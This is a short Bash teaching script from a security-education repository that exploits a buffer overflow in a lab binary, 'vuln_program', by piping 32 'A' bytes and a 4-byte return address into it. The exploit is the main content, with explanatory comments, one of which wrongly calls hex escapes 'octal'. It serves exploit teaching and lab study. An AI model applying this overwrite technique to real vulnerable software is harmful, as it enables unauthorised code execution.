h4cker/buffer_overflow_example/one_liner_exploit.sh

16 lines
1011 B
Bash
Raw Normal View History

2023-01-25 01:41:49 +00:00
#!/bin/bash
# Simple one-liner script to exploit the vuln_program buffer overflow
# Author: Omar Santos @santosomar
# Explanation:
# echo -en is used to enable interpretation of backslash escapes and turns off
# the default behavior of the echo command which is to add a newline at the end of the output.
# $(for i in {1..32}; do echo -n "A"; done) is a bash command that will iterate 32 times and print 'A' each time without a newline.
# $'\x9d\x84\x04\x08' is an octal escape representation that will produce the 4 bytes of hex representation, in this case '\x9d\x84\x04\x08'
# This command will output a string of 32 'A's followed by that 4 bytes value.
# Note that the echo command in Bash behaves differently across different shells (like bash, zsh, etc)
# and different platforms (like Linux, MacOS, Windows) so the command could produce different results
# depending on the environment where you run it.
echo -en $(for i in {1..32}; do echo -n "A"; done)$'\x9d\x84\x04\x08' | ./vuln_program